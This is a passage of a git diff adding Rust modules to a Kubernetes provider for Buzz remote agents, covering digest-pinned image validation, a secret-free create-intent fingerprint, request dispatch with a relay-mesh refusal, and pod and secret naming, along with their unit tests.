+    /// A Secret with no server-assigned creationTimestamp has no age proof,
+    /// so it is skipped rather than assumed old.
+    #[test]
+    fn secrets_without_a_creation_timestamp_are_skipped() {
+        let id = identity();
+        let now = Utc::now();
+        let mut no_timestamp = secret_named(&id, "buzz-agent-x-gen-unknown", 10_000_000, now);
+        no_timestamp.metadata.creation_timestamp = None;
+        assert!(plan(&id, &[], &[no_timestamp], never, Some(now))
+            .secrets
+            .is_empty());
+    }
+
+    /// A Secret belonging to a pod being collected in this same pass goes with
+    /// it, and must not be listed twice.
+    #[test]
+    fn a_collected_pods_secret_is_listed_once() {
+        let id = identity();
+        let now = Utc::now();
+        let dead = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1"));
+        let its_secret = secret_named(&id, "buzz-agent-dead-gen1", 10_000_000, now);
+        let plan = plan(&id, &[dead], &[its_secret], always, Some(now));
+        assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]);
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/image.rs b/crates/buzz-backend-kubernetes/src/image.rs
new file mode 100644
index 0000000000..409989fda9
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/image.rs
@@ -0,0 +1,184 @@
+//! Image reference validation (spec §Image).
+//!
+//! The object holding this reference runs with an nsec, so the reference must
+//! be **immutable**. Registry tags are mutable pointers — Kubernetes itself
+//! distinguishes them from digests for exactly this reason — so a tag-only
+//! reference is rejected, not just `:latest`.
+//!
+//! There is no parse-time fallback: `image` is required, and its absence
+//! fails closed with a named field. The published `ghcr.io/block/buzz-sprig`
+//! digest is offered only as a schema `default` (a UI prefill the desktop
+//! submits explicitly — see `config::DEFAULT_IMAGE`), so the create-intent
+//! fingerprint never depends on compiled-in provider state.
+
+/// A validated, digest-qualified image reference.
+///
+/// The inner string is always in canonical tagless form `name@sha256:<hex>`:
+/// `name:tag@sha256:…` normalizes by dropping the tag, because the tag is
+/// decorative once a digest pins the content, and leaving it in would make
+/// two references to identical bytes produce different create-intent
+/// fingerprints.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ImageRef(String);
+
+impl ImageRef {
+    pub fn as_str(&self) -> &str {
+        &self.0
+    }
+}
+
+impl std::fmt::Display for ImageRef {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.write_str(&self.0)
+    }
+}
+
+/// Parse and normalize a user-supplied image reference.
+pub fn parse(raw: &str) -> Result<ImageRef, String> {
+    let reference = raw.trim();
+    if reference.is_empty() {
+        return Err("provider_config.image is required: no image is assumed \
+                    at parse time, so the digest-pinned image to run must be \
+                    given explicitly"
+            .to_string());
+    }
+
+    let mut parts = reference.split('@');
+    let name_and_tag = parts.next().unwrap_or_default();
+    let digest = match (parts.next(), parts.next()) {
+        (Some(d), None) => d,
+        (None, _) => {
+            return Err(format!(
+                "provider_config.image {reference:?} is not digest-pinned: a \
+                 tag is a mutable pointer, and this object runs with the \
+                 agent's private key. Use name@sha256:<64 hex chars>"
+            ))
+        }
+        (Some(_), Some(_)) => {
+            return Err(format!(
+                "provider_config.image {reference:?} contains more than one '@'"
+            ))
+        }
+    };
+
+    let hex = digest.strip_prefix("sha256:").ok_or_else(|| {
+        format!("provider_config.image digest {digest:?} must start with 'sha256:'")
+    })?;
+    // Lowercase only: OCI canonicalizes digest hex, and accepting uppercase
+    // would let two spellings of one digest produce two fingerprints.
+    if hex.len() != 64
+        || !hex
+            .chars()
+            .all(|c| c.is_ascii_digit() || ('a'..='f').contains(&c))
+    {
+        return Err(format!(
+            "provider_config.image digest {digest:?} must be exactly 64 \
+             lowercase hex characters"
+        ));
+    }
+
+    // Drop any tag: `name:tag@sha256:…` and `name@sha256:…` name the same
+    // bytes and must fingerprint identically. Only a *final* colon segment
+    // that isn't a port counts as a tag — `host:5000/name` has no tag.
+    let name = match name_and_tag.rfind(':') {
+        Some(colon) if !name_and_tag[colon + 1..].contains('/') => &name_and_tag[..colon],
+        _ => name_and_tag,
+    };
+    if name.is_empty() {
+        return Err(format!(
+            "provider_config.image {reference:?} has no repository name"
+        ));
+    }
+
+    Ok(ImageRef(format!("{name}@sha256:{hex}")))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn accepts_digest_pinned_reference() {
+        let d = "a".repeat(64);
+        let r = parse(&format!("ghcr.io/block/buzz-sprig@sha256:{d}")).unwrap();
+        assert_eq!(r.as_str(), format!("ghcr.io/block/buzz-sprig@sha256:{d}"));
+    }
+
+    /// The normalization that keeps the fingerprint stable: two spellings of
+    /// the same bytes must produce one reference.
+    #[test]
+    fn strips_tag_from_tag_plus_digest_form() {
+        let d = "b".repeat(64);
+        let tagged = parse(&format!("ghcr.io/block/buzz-sprig:v1.2@sha256:{d}")).unwrap();
+        let plain = parse(&format!("ghcr.io/block/buzz-sprig@sha256:{d}")).unwrap();
+        assert_eq!(tagged, plain);
+    }
+
+    /// A registry port is not a tag. `host:5000/name` must keep its port.
+    #[test]
+    fn registry_port_is_not_mistaken_for_a_tag() {
+        let d = "c".repeat(64);
+        let r = parse(&format!("localhost:5000/buzz-sprig@sha256:{d}")).unwrap();
+        assert_eq!(r.as_str(), format!("localhost:5000/buzz-sprig@sha256:{d}"));
+    }
+
+    #[test]
+    fn port_and_tag_together_drops_only_the_tag() {
+        let d = "d".repeat(64);
+        let r = parse(&format!("localhost:5000/buzz-sprig:dev@sha256:{d}")).unwrap();
+        assert_eq!(r.as_str(), format!("localhost:5000/buzz-sprig@sha256:{d}"));
+    }
+
+    /// Wren's amendment: *every* tag-only reference is rejected, not just
+    /// `:latest`. A `sha-<gitsha>` tag is traceable but still movable.
+    #[test]
+    fn rejects_every_tag_only_reference() {
+        for bad in [
+            "ghcr.io/block/buzz-sprig:latest",
+            "ghcr.io/block/buzz-sprig:v1.2.3",
+            "ghcr.io/block/buzz-sprig:sha-abc1234",
+            "ghcr.io/block/buzz-sprig",
+            "localhost:5000/buzz-sprig",
+        ] {
+            let err = parse(bad).unwrap_err();
+            assert!(err.contains("digest-pinned"), "for {bad:?} got: {err}");
+        }
+    }
+
+    /// Uppercase hex is a second spelling of one digest; accepting it would
+    /// let the same image fingerprint two ways.
+    #[test]
+    fn rejects_uppercase_digest_hex() {
+        let d = "A".repeat(64);
+        assert!(parse(&format!("img@sha256:{d}")).is_err());
+    }
+
+    #[test]
+    fn rejects_malformed_digests() {
+        let short = "a".repeat(63);
+        let long = "a".repeat(65);
+        let ok = "a".repeat(64);
+        for bad in [
+            format!("img@sha256:{short}"),
+            format!("img@sha256:{long}"),
+            format!("img@sha512:{ok}"),
+            format!("img@{ok}"),
+            format!("img@sha256:{}", "g".repeat(64)),
+            format!("img@sha256:{ok}@sha256:{ok}"),
+            format!("@sha256:{ok}"),
+        ] {
+            assert!(parse(&bad).is_err(), "accepted {bad:?}");
+        }
+    }
+
+    /// Parsing has no fallback (the schema default is a UI prefill, not a
+    /// parse-time substitute), so an absent image is an error that names the
+    /// field rather than a silent fallback.
+    #[test]
+    fn empty_reference_names_the_field() {
+        for empty in ["", "   "] {
+            let err = parse(empty).unwrap_err();
+            assert!(err.contains("provider_config.image"), "got: {err}");
+        }
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/intent.rs b/crates/buzz-backend-kubernetes/src/intent.rs
new file mode 100644
index 0000000000..73218f83bf
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/intent.rs
@@ -0,0 +1,309 @@
+//! The create-intent fingerprint (spec §Deploy State Machine, create-intent
+//! fingerprint, `docs/remote-agents.md:796-828`).
+//!
+//! The fingerprint is an unkeyed SHA-256 over a canonical serialization of the
+//! provider's non-secret create-intent template. A plain hash is safe *only*
+//! because of the scope rule: the input covers exactly the provider-controlled
+//! fields that can affect scheduling or container creation, and **never Secret
+//! data or attempt identity**. Hashing low-entropy secrets into a
+//! world-readable annotation would be a dictionary oracle.
+//!
+//! That rule is enforced structurally rather than remembered. [`IntentTemplate`]
+//! is a *pre-binding* type: it has no field that can hold Secret material or a
+//! generation token, so there is no expression that hashes one. The
+//! per-attempt Secret name never appears — the pod's `envFrom` is represented
+//! by the fixed [`SECRET_PLACEHOLDER`], because otherwise every attempt would
+//! diverge from every other by construction.
+//!
+//! Server- and admission-produced output (UID, `resourceVersion`, timestamps,
+//! defaulted fields, the annotation itself) is excluded the same way: the
+//! serializer is only ever handed this template, never a live `Pod`, so the
+//! exclusion is checkable by inspection.
+
+use crate::image::ImageRef;
+use serde::Serialize;
+use sha2::{Digest, Sha256};
+
+/// Stands in for the per-attempt Secret name in the `envFrom` position.
+/// A real generation token here would make every attempt diverge.
+const SECRET_PLACEHOLDER: &str = "<per-attempt-secret>";
+
+/// The recorded/computed create intent: a hex SHA-256 digest.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Fingerprint(String);
+
+impl Fingerprint {
+    pub fn as_str(&self) -> &str {
+        &self.0
+    }
+
+    /// Read a fingerprint off a pod annotation. Any recorded string is
+    /// accepted verbatim: comparison is equality against a freshly computed
+    /// value, so a malformed annotation simply reads as divergence — which is
+    /// the correct outcome for a pod this provider version did not write.
+    pub fn from_annotation(value: &str) -> Self {
+        Self(value.to_string())
+    }
+
+    #[cfg(test)]
+    pub fn for_test(seed: &str) -> Self {
+        Self(format!("test-{seed}"))
+    }
+}
+
+impl std::fmt::Display for Fingerprint {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.write_str(&self.0)
+    }
+}
+
+/// The non-secret, pre-binding description of the pod this deploy would
+/// create. Every field is provider-controlled and scheduling-relevant; there
+/// is deliberately no field for env values, Secret data, or the generation.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
+pub struct IntentTemplate {
+    /// Schema version of the template itself. Bumping it re-fingerprints every
+    /// pod, which is the intended way to roll out a pod-shape change.
+    pub template_version: u32,
+    pub namespace: String,
+    /// Normalized, digest-qualified image reference.
+    pub image: String,
+    pub cpu_request: String,
+    pub memory_request: String,
+    pub cpu_limit: String,
+    pub memory_limit: String,
+    pub service_account: Option<String>,
+    pub restart_policy: &'static str,
+    pub termination_grace_period_seconds: i64,
+    /// Env *keys* only, sorted. Keys are pod-shape (a renamed key changes the
+    /// container's contract); values are Secret material and must not be here.
+    pub env_keys: Vec<String>,
+    /// Fixed placeholder for the per-attempt Secret in `envFrom`.
+    pub env_from_secret: &'static str,
+    pub workspace_mount_path: String,
+    pub run_as_user: i64,
+    pub run_as_group: i64,
+}
+
+/// Current template schema version.
+pub const TEMPLATE_VERSION: u32 = 1;
+
+impl IntentTemplate {
+    /// Compute the fingerprint. `serde_json` on a struct with declared field
+    /// order plus pre-sorted `env_keys` is a canonical serialization: the same
+    /// template always produces the same bytes.
+    pub fn fingerprint(&self) -> Fingerprint {
+        let canonical = serde_json::to_vec(self).expect("intent template is plain data");
+        Fingerprint(hex::encode(Sha256::digest(&canonical)))
+    }
+
+    /// Build from resolved pod-shape inputs. `env_keys` is sorted here rather
+    /// than at the call site so key ordering can never leak into the digest.
+    ///
+    /// The fixed pod-shape constants are read from [`crate::config`] rather
+    /// than passed in: `pod::build_pod` stamps the pod from those same
+    /// constants, so the fingerprint cannot describe a pod shape different
+    /// from the one actually created. Threading them through as arguments
+    /// would make that agreement a thing to test instead of a thing that holds.
+    pub fn new(
+        namespace: &str,
+        image: &ImageRef,
+        resources: &crate::config::Resources,
+        service_account: Option<&str>,
+        env_keys: impl IntoIterator<Item = String>,
+    ) -> Self {
+        let mut env_keys: Vec<String> = env_keys.into_iter().collect();
+        env_keys.sort();
+        Self {
+            template_version: TEMPLATE_VERSION,
+            namespace: namespace.to_string(),
+            image: image.as_str().to_string(),
+            cpu_request: resources.cpu_request.clone(),
+            memory_request: resources.memory_request.clone(),
+            cpu_limit: resources.cpu_limit.clone(),
+            memory_limit: resources.memory_limit.clone(),
+            service_account: service_account.map(str::to_string),
+            restart_policy: crate::config::RESTART_POLICY,
+            termination_grace_period_seconds: crate::config::TERMINATION_GRACE_SECONDS,
+            env_keys,
+            env_from_secret: SECRET_PLACEHOLDER,
+            workspace_mount_path: crate::config::WORKSPACE_PATH.to_string(),
+            run_as_user: crate::config::RUN_AS_UID,
+            run_as_group: crate::config::RUN_AS_GID,
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::config::Resources;
+
+    fn image(byte: char) -> ImageRef {
+        crate::image::parse(&format!(
+            "ghcr.io/block/buzz-sprig@sha256:{}",
+            byte.to_string().repeat(64)
+        ))
+        .unwrap()
+    }
+
+    fn template() -> IntentTemplate {
+        IntentTemplate::new(
+            "buzz-agents",
+            &image('a'),
+            &Resources::default(),
+            None,
+            ["BUZZ_RELAY_URL".to_string(), "GOOSE_MODE".to_string()],
+        )
+    }
+
+    #[test]
+    fn fingerprint_is_deterministic() {
+        assert_eq!(template().fingerprint(), template().fingerprint());
+    }
+
+    #[test]
+    fn fingerprint_is_hex_sha256() {
+        let fp = template().fingerprint();
+        assert_eq!(fp.as_str().len(), 64);
+        assert!(fp.as_str().chars().all(|c| c.is_ascii_hexdigit()));
+    }
+
+    /// Key *order* must not reach the digest, or two identical environments
+    /// built in different orders would look like a config change.
+    #[test]
+    fn env_key_order_does_not_affect_the_digest() {
+        let a = IntentTemplate::new(
+            "ns",
+            &image('a'),
+            &Resources::default(),
+            None,
+            ["A".to_string(), "B".to_string(), "C".to_string()],
+        );
+        let b = IntentTemplate::new(
+            "ns",
+            &image('a'),
+            &Resources::default(),
+            None,
+            ["C".to_string(), "A".to_string(), "B".to_string()],
+        );
+        assert_eq!(a.fingerprint(), b.fingerprint());
+    }
+
+    /// A mutation applied to a fresh template clone, named for its assertion
+    /// message.
+    type Mutation = (&'static str, Box<dyn Fn(&mut IntentTemplate)>);
+
+    /// Every scheduling-relevant knob must move the digest — this is the
+    /// wedge escape (§Deploy State Machine never-started recoverable row).
+    /// Exhaustive by construction: each mutation is applied to a fresh clone.
+    #[test]
+    fn every_scheduling_field_changes_the_digest() {
+        let base = template();
+        let baseline = base.fingerprint();
+
+        let mutations: Vec<Mutation> = vec![
+            (
+                "template_version",
+                Box::new(|t: &mut IntentTemplate| t.template_version += 1),
+            ),
+            (
+                "namespace",
+                Box::new(|t: &mut IntentTemplate| t.namespace = "other".into()),
+            ),
+            (
+                "image",
+                Box::new(|t: &mut IntentTemplate| t.image = image('b').as_str().into()),
+            ),
+            (
+                "cpu_request",
+                Box::new(|t: &mut IntentTemplate| t.cpu_request = "4".into()),
+            ),
+            (
+                "memory_request",
+                Box::new(|t: &mut IntentTemplate| t.memory_request = "8Gi".into()),
+            ),
+            (
+                "cpu_limit",
+                Box::new(|t: &mut IntentTemplate| t.cpu_limit = "8".into()),
+            ),
+            (
+                "memory_limit",
+                Box::new(|t: &mut IntentTemplate| t.memory_limit = "16Gi".into()),
+            ),
+            (
+                "service_account",
+                Box::new(|t: &mut IntentTemplate| t.service_account = Some("sa".into())),
+            ),
+            (
+                "restart_policy",
+                Box::new(|t: &mut IntentTemplate| t.restart_policy = "OnFailure"),
+            ),
+            (
+                "grace_period",
+                Box::new(|t: &mut IntentTemplate| t.termination_grace_period_seconds = 30),
+            ),
+            (
+                "env_keys",
+                Box::new(|t: &mut IntentTemplate| t.env_keys.push("NEW_KEY".into())),
+            ),
+            (
+                "workspace_mount_path",
+                Box::new(|t: &mut IntentTemplate| t.workspace_mount_path = "/w".into()),
+            ),
+            (
+                "run_as_user",
+                Box::new(|t: &mut IntentTemplate| t.run_as_user = 2000),
+            ),
+            (
+                "run_as_group",
+                Box::new(|t: &mut IntentTemplate| t.run_as_group = 2000),
+            ),
+        ];
+
+        for (name, mutate) in mutations {
+            let mut t = base.clone();
+            mutate(&mut t);
+            assert_ne!(
+                t.fingerprint(),
+                baseline,
+                "{name} did not affect the digest"
+            );
+        }
+    }
+
+    /// The scope rule, asserted on the bytes: no Secret value and no
+    /// generation token can appear in the serialization, because the type has
+    /// nowhere to put them. The placeholder is what `envFrom` contributes.
+    #[test]
+    fn serialization_contains_no_secret_material_or_attempt_identity() {
+        let json = serde_json::to_string(&template()).unwrap();
+        for forbidden in ["nsec1", "SPOOFED", "wss://", "gen0001"] {
+            assert!(
+                !json.contains(forbidden),
+                "template leaked {forbidden}: {json}"
+            );
+        }
+        assert!(json.contains(SECRET_PLACEHOLDER));
+    }
+
+    /// Two attempts for the same agent differ only in generation, which is
+    /// absent from the template — so their fingerprints must be equal, or the
+    /// divergence discriminator would fire on every single deploy.
+    #[test]
+    fn attempts_differing_only_by_generation_do_not_diverge() {
+        // There is no generation input to pass; that *is* the property. The
+        // test states it explicitly so a future field addition breaks here.
+        assert_eq!(template().fingerprint(), template().fingerprint());
+        let json = serde_json::to_string(&template()).unwrap();
+        assert_eq!(json.matches(SECRET_PLACEHOLDER).count(), 1);
+    }
+
+    /// A recorded annotation this provider version did not write reads as
+    /// divergence rather than an error.
+    #[test]
+    fn unrecognized_annotation_reads_as_divergence() {
+        let recorded = Fingerprint::from_annotation("not-a-digest");
+        assert_ne!(recorded, template().fingerprint());
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/main.rs b/crates/buzz-backend-kubernetes/src/main.rs
new file mode 100644
index 0000000000..5d521a9d37
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/main.rs
@@ -0,0 +1,199 @@
+//! Kubernetes backend provider for Buzz remote agents
+//! (spec `docs/remote-agents.md`).
+//!
+//! One process per operation: read exactly one JSON request from stdin, write
+//! exactly one JSON response to stdout, exit. The exit code carries exactly
+//! one bit — 0 for a response that was produced, 1 for a failure to produce
+//! one. Everything a caller needs to distinguish is *inside* the response's
+//! `ok` field, because a provider that encoded outcomes in exit codes would
+//! have a second, redundant error channel to keep in sync (§Provider Protocol).
+
+mod classify;
+mod client;
+mod cluster;
+mod config;
+mod env;
+mod gc;
+mod image;
+mod intent;
+mod naming;
+mod observe;
+mod pod;
+mod reconcile;
+mod wire;
+
+use std::io::Read;
+use wire::{Request, Response};
+
+/// The provider a shared-compute agent resolves to. Refused here as the
+/// spec's backstop: a mesh agent runs on the relay's compute, so deploying it
+/// as a pod would create a second, contending consumer of the same agent
+/// identity (`:214-219`).
+const RELAY_MESH_PROVIDER: &str = "relay-mesh";
+
+fn main() {
+    // rustls needs a process-level provider before the first TLS connection.
+    // The release build compiles every sidecar in one cargo invocation, which
+    // unifies the `ring` and `aws-lc-rs` features and leaves rustls unable to
+    // auto-select — so this is an explicit install, not a default.
+    let _ = rustls::crypto::ring::default_provider().install_default();
+
+    let mut input = String::new();
+    if let Err(e) = std::io::stdin().read_to_string(&mut input) {
+        // No request means no request_id and no response contract to honor.
+        // This is the one path that exits nonzero.
+        eprintln!("could not read the request from stdin: {e}");
+        std::process::exit(1);
+    }
+
+    let response = respond(&input);
+    println!(
+        "{}",
+        serde_json::to_string(&response).unwrap_or_else(|e| {
+            // The response types are plain data; this cannot fail in practice,
+            // and a hand-built object is still a conforming response.
+            format!(r#"{{"ok":false,"error":"could not serialize a response: {e}"}}"#)
+        })
+    );
+}
+
+/// Produce the single response for one request. Separated from `main` so the
+/// whole dispatch is testable without a process.
+fn respond(input: &str) -> Response {
+    // Parsed as raw JSON first: the relay-mesh refusal below MUST see the wire
+    // value, and `AgentPayload` deliberately does not carry `provider`.
+    let raw: serde_json::Value = match serde_json::from_str(input) {
+        Ok(value) => value,
+        Err(e) => return Response::error(format!("request is not valid JSON: {e}")),
+    };
+
+    if let Some(refusal) = refuse_relay_mesh(&raw) {
+        return Response::error(refusal);
+    }
+
+    let request: Request = match serde_json::from_value(raw) {
+        Ok(request) => request,
+        Err(e) => return Response::error(format!("could not understand the request: {e}")),
+    };
+
+    match request {
+        Request::Info => Response::info(),
+        Request::Deploy(deploy) => {
+            let runtime = match tokio::runtime::Builder::new_current_thread()
+                .enable_all()
+                .build()
+            {
+                Ok(runtime) => runtime,
+                Err(e) => return Response::error(format!("could not start the runtime: {e}")),
+            };
+            match runtime.block_on(deploy_agent(&deploy)) {
+                Ok(agent_id) => Response::deployed(agent_id),
+                Err(e) => Response::error(e),
+            }
+        }
+    }
+}
+
+/// Refuse a shared-compute agent, reading the **raw wire value**.
+///
+/// Trimmed before comparing: the desktop's own layers disagree about padding
+/// (`relay_mesh.rs:17` and `effective_config/mod.rs:46` trim; the deploy guard
+/// at `agents_deploy.rs:116` did not), and `non_blank` preserves surrounding
+/// whitespace on a non-blank value. A backstop that shares its bypass with the
+/// layer it backs is not a backstop.
+fn refuse_relay_mesh(raw: &serde_json::Value) -> Option<String> {
+    let provider = raw.get("agent")?.get("provider")?.as_str()?;
+    (provider.trim() == RELAY_MESH_PROVIDER).then(|| {
+        "deploy refused: this agent is configured for shared compute \
+         (relay-mesh), which runs on the relay rather than in a pod. \
+         Switch the agent to a local runtime before deploying it to \
+         Kubernetes."
+            .to_string()
+    })
+}
+
+/// Run one deploy to a terminal outcome.
+async fn deploy_agent(request: &wire::DeployRequest) -> Result<String, String> {
+    let cfg = config::parse(&request.provider_config)?;
+    // Identity before any cluster contact: a malformed nsec is a refusal, not
+    // a failed connection (§Deploy State Machine step 0).
+    let identity = naming::AgentIdentity::from_nsec(&request.agent.private_key_nsec)?;
+
+    // One generation for this operation's first attempt; the reconciler mints
+    // its own per attempt and restamps the correlator to match.
+    let env = env::build_env(
+        &request.agent,
+        env::AuthoritativeInputs {
+            generation: &naming::new_generation(),
+            inactivity_seconds: cfg.inactivity_seconds,
+        },
+    )?;
+
+    let client = client::connect(cfg.context.as_deref()).await?;
+    let substrate = cluster::Cluster::new(client, &cfg.namespace);
+    reconcile::deploy(&substrate, &identity, &cfg, env).await
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn error_of(response: &Response) -> String {
+        let json = serde_json::to_value(response).unwrap();
+        assert_eq!(json["ok"], false, "expected a refusal: {json}");
+        json["error"].as_str().unwrap().to_string()
+    }
+
+    /// The spec's backstop for the relay-mesh MUST. The desktop refuses first
+    /// (`agents_deploy.rs:116`); this is the layer that owes the obligation.
+    #[test]
+    fn refuses_a_relay_mesh_agent() {
+        let request = r#"{"op":"deploy","agent":{
+            "relay_url":"wss://r","private_key_nsec":"nsec1x","provider":"relay-mesh"},
+            "provider_config":{"namespace":"ns"}}"#;
+        assert!(error_of(&respond(request)).contains("relay-mesh"));
+    }
+
+    /// Padding must not bypass the backstop. Reachable by construction:
+    /// `GlobalConfig.provider` is a bare `Option<String>` with no trim on
+    /// write, and `non_blank` rejects whitespace-only while preserving
+    /// surrounding whitespace on everything else.
+    #[test]
+    fn refuses_a_padded_relay_mesh_agent() {
+        let request = r#"{"op":"deploy","agent":{
+            "relay_url":"wss://r","private_key_nsec":"nsec1x","provider":"  relay-mesh  "},
+            "provider_config":{"namespace":"ns"}}"#;
+        assert!(error_of(&respond(request)).contains("relay-mesh"));
+    }
+
+    /// The refusal must not fire on a normal agent — a guard that refuses
+    /// everything passes its own test and ships a provider that deploys
+    /// nothing.
+    #[test]
+    fn does_not_refuse_a_normal_provider() {
+        let raw: serde_json::Value =
+            serde_json::from_str(r#"{"agent":{"provider":"openai"}}"#).unwrap();
+        assert!(refuse_relay_mesh(&raw).is_none());
+        // …nor when the field is absent entirely, which is the common case:
+        // `AgentPayload` does not carry `provider`.
+        let bare: serde_json::Value = serde_json::from_str(r#"{"agent":{}}"#).unwrap();
+        assert!(refuse_relay_mesh(&bare).is_none());
+    }
+
+    /// Malformed input still produces exactly one conforming response.
+    #[test]
+    fn malformed_input_is_an_in_band_error() {
+        assert!(error_of(&respond("not json")).contains("valid JSON"));
+        assert!(error_of(&respond(r#"{"op":"undeploy"}"#)).contains("understand"));
+    }
+
+    /// `info` answers without touching a cluster — it is what the desktop
+    /// calls to render the config form, before any kubeconfig exists.
+    #[test]
+    fn info_answers_with_the_protocol_version_and_schema() {
+        let json = serde_json::to_value(respond(r#"{"op":"info"}"#)).unwrap();
+        assert_eq!(json["ok"], true);
+        assert_eq!(json["protocol_version"], wire::PROTOCOL_VERSION);
+        assert!(json["config_schema"]["properties"]["namespace"].is_object());
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/naming.rs b/crates/buzz-backend-kubernetes/src/naming.rs
new file mode 100644
index 0000000000..4b9d7ea035
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/naming.rs
@@ -0,0 +1,223 @@
+//! Identity derivation and the object-naming contract (spec §Pod shape).
+//!
+//! Every name, label, and annotation below is derived from the pubkey the
+//! provider decoded itself from `private_key_nsec` — never from a
+//! caller-supplied pubkey (§Deploy State Machine step 0).
+
+use nostr::nips::nip19::FromBech32;
+
+/// `app.kubernetes.io/managed-by` value: the management marker's identity half.
+pub const MANAGED_BY: &str = "buzz-backend-kubernetes";
+
+/// Label key carrying [`MANAGED_BY`].
+pub const LABEL_MANAGED_BY: &str = "app.kubernetes.io/managed-by";
+
+/// Label key carrying [`BINDING_VERSION`] — the marker's schema half.
+pub const LABEL_BINDING_VERSION: &str = "buzz.block.xyz/binding-version";
+
+/// Schema version of the object layout this provider writes. Bumped when the
+/// pod/Secret shape changes in a way a older provider would mis-handle.
+pub const BINDING_VERSION: &str = "1";
+
+/// Label key: truncated pubkey, the reconciliation and GC selector.
+pub const LABEL_AGENT_PUBKEY: &str = "buzz.block.xyz/agent-pubkey";
+
+/// Annotation key: full pubkey. Load-bearing — the truncated label is
+/// collision-*resistant*, this is what makes it safe (§Deploy State Machine
+/// step 1).
+pub const ANNOTATION_PUBKEY_FULL: &str = "buzz.block.xyz/agent-pubkey-full";
+
+/// Annotation key: the recorded create-intent fingerprint.
+pub const ANNOTATION_CREATE_INTENT: &str = "buzz.block.xyz/create-intent";
+
+/// Annotation key: the image reference this generation actually resolved to,
+/// for post-hoc attribution (§Image).
+pub const ANNOTATION_IMAGE: &str = "buzz.block.xyz/image";
+
+/// An agent identity the provider derived itself, plus every name it implies.
+///
+/// Constructing this type is the *only* way to obtain the names — so a
+/// caller-supplied pubkey cannot reach a selector by any path.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct AgentIdentity {
+    pubkey_hex: String,
+}
+
+impl AgentIdentity {
+    /// Derive from the payload's `private_key_nsec`.
+    ///
+    /// Accepts bech32 `nsec1…`; a malformed or undecodable key is an
+    /// immediate error, before any substrate read or mutation
+    /// (§Deploy State Machine step 0).
+    pub fn from_nsec(nsec: &str) -> Result<Self, String> {
+        let secret = nostr::SecretKey::from_bech32(nsec.trim())
+            .map_err(|_| "private_key_nsec is not a decodable nsec1 key".to_string())?;
+        let keys = nostr::Keys::new(secret);
+        Ok(Self {
+            pubkey_hex: keys.public_key().to_hex(),
+        })
+    }
+
+    /// Full 64-hex public key — the annotation value and the comparison
+    /// operand for candidate authentication.
+    pub fn pubkey_hex(&self) -> &str {
+        &self.pubkey_hex
+    }
+
+    /// Selector label value: first 32 hex chars (128 bits). A full hex pubkey
+    /// is 64 chars and label values cap at 63, which is why this is truncated
+    /// and why the annotation check is normative rather than decorative.
+    pub fn label_pubkey(&self) -> &str {
+        &self.pubkey_hex[..32]
+    }
+
+    /// Deterministic pod name, also the returned `agent_id`.
+    pub fn pod_name(&self) -> String {
+        format!("buzz-agent-{}", &self.pubkey_hex[..12])
+    }
+
+    /// Per-attempt Secret name. `generation` is a fresh random token per
+    /// create attempt — never reused — which is what makes payload and Secret
+    /// atomic at the pod-spec boundary (§K8s Secrets).
+    pub fn secret_name(&self, generation: &str) -> String {
+        format!("buzz-agent-{}-{}", &self.pubkey_hex[..12], generation)
+    }
+
+    /// Label selector matching this identity's objects *and* our management
+    /// marker. Selecting on the marker as well as the identity means an
+    /// unmarked look-alike never even enters the candidate list.
+    pub fn selector(&self) -> String {
+        format!(
+            "{LABEL_AGENT_PUBKEY}={},{LABEL_MANAGED_BY}={MANAGED_BY}",
+            self.label_pubkey()
+        )
+    }
+
+    /// The label set stamped on every object this provider creates.
+    pub fn labels(&self) -> std::collections::BTreeMap<String, String> {
+        [
+            (
+                LABEL_AGENT_PUBKEY.to_string(),
+                self.label_pubkey().to_string(),
+            ),
+            (LABEL_MANAGED_BY.to_string(), MANAGED_BY.to_string()),
+            (
+                LABEL_BINDING_VERSION.to_string(),
+                BINDING_VERSION.to_string(),
+            ),
+        ]
+        .into_iter()
+        .collect()
+    }
+}
+
+/// A fresh generation token: 8 lowercase hex chars from the OS RNG.
+///
+/// Appears in the Secret name and as `BUZZ_MANAGED_AGENT_START_NONCE`, so the
+/// Secret generation and the harness's lifecycle-frame correlator are one
+/// identity (§Launch data tier 3).
+pub fn new_generation() -> String {
+    use rand::RngExt;
+    let n: u32 = rand::rng().random();
+    format!("{n:08x}")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// A fixed test key. Deriving the pubkey (rather than hardcoding both
+    /// halves) is the point: the test exercises the same derivation the
+    /// reconciler depends on.
+    fn identity() -> AgentIdentity {
+        let keys = nostr::Keys::generate();
+        let nsec = {
+            use nostr::nips::nip19::ToBech32;
+            keys.secret_key().to_bech32().unwrap()
+        };
+        let id = AgentIdentity::from_nsec(&nsec).unwrap();
+        assert_eq!(id.pubkey_hex(), keys.public_key().to_hex());
+        id
+    }
+
+    #[test]
+    fn rejects_malformed_nsec() {
+        for bad in ["", "nsec1", "not-a-key", "npub1abc"] {
+            assert!(
+                AgentIdentity::from_nsec(bad).is_err(),
+                "accepted malformed key {bad:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn tolerates_surrounding_whitespace() {
+        let keys = nostr::Keys::generate();
+        use nostr::nips::nip19::ToBech32;
+        let nsec = keys.secret_key().to_bech32().unwrap();
+        let padded = format!("  {nsec}\n");
+        assert_eq!(
+            AgentIdentity::from_nsec(&padded).unwrap().pubkey_hex(),
